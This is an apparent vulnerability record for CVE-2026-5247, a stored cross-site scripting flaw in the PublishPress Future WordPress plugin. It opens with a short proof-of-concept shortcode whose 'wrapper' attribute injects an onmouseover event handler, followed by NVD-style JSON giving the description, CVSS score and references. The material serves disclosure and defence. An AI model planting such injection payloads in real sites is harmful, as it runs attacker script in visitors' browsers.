CVE-2026-5247

<!-- PoC for CVE-2026-5247 Stored XSS --> <!-- Usage: Insert the following shortcode into a post or page --> [futureaction wrapper="div onmouseover=alert('XSS')"] <!-- Explanation: --> <!-- The 'wrapper' attribute injects 'div onmouseover=alert('XSS')'. --> <!-- The plugin constructs HTML like: <div onmouseover=alert('XSS')>...</div> --> <!-- Triggering: Mouse over the element generated by the shortcode on the published page. -->

{"cve": {"id": "CVE-2026-5247", "sourceIdentifier": "[email protected]", "published": "2026-05-05T03:15:59.930", "lastModified": "2026-05-05T19:09:32.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Schedule Post Changes With PublishPress Future plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper' attribute of the [futureaction] shortcode in all versions up to, and including, 4.10.0. This is due to insufficient input sanitization on the wrapper attribute. The plugin uses esc_html() to escape the value, but esc_html() only encodes HTML entities and does not prevent attribute injection when the value is used as an HTML tag name in a sprintf() call. An attacker can inject event handler attributes via spaces in the wrapper value. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Since it is also possible for administrators to make this functionality available to lower-privileged users, this introduces the possibility of abuse by contributors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/publishpress/publishpress-future/releases", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-expirator/tags/4.9.4/src/Modules/Expirator/Controllers/ShortcodeController.php#L173", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-expirator/trunk/src/Modules/Expirator/Controllers/ShortcodeController.php#L173", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9acf80aa-8354-4430-9836-18fa17854521?source=cve", "source": "[email protected]"}]}}